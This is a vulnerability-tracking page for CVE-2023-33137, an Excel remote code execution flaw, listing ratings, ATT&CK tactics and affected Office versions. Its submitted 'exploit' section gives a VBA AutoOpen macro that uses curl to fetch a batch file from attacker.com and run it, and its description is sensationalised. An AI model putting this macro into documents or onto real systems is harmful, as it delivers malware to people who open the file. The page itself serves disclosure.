High
CVE-2023-33137
CVE ID
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CVE-2023-33137
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Microsoft Excel Remote Code Execution Vulnerability
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Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
CVE-2023-33137
Vendor
Software
Description:
This exploit is connected with third part exploit server, which waits for the victim to call him and execute the content from him using the pipe posting method! This is absolutely a 0-day exploit! This is absolutely dangerous for the victims, who are infected by him!
When the victim hit the button in the Excel file, it makes a POST request to the exploit server, and the server is responding back that way: He creates another hidden malicious file and executed it directly on the machine of the victim, then everything is disappeared, so nasty.
STATUS: HIGH Vulnerability WARNING: THIS IS VERY DANGER for the usual users!
[+]Exploit:
Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/nu11secur1ty/somwhere/ontheinternet/maloumnici.bat > maloumnici.bat && .\maloumnici.bat", vbNormalFocus) End Sub
Reproduce:
Proof and Exploit:
Time spend:
01:27:00
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General Information
Vendors
- microsoft
Products
- office 2013,
- office 2016,
- office 2019,
- office online server -
Exploited in the Wild
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Additional Info
Technical Analysis
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
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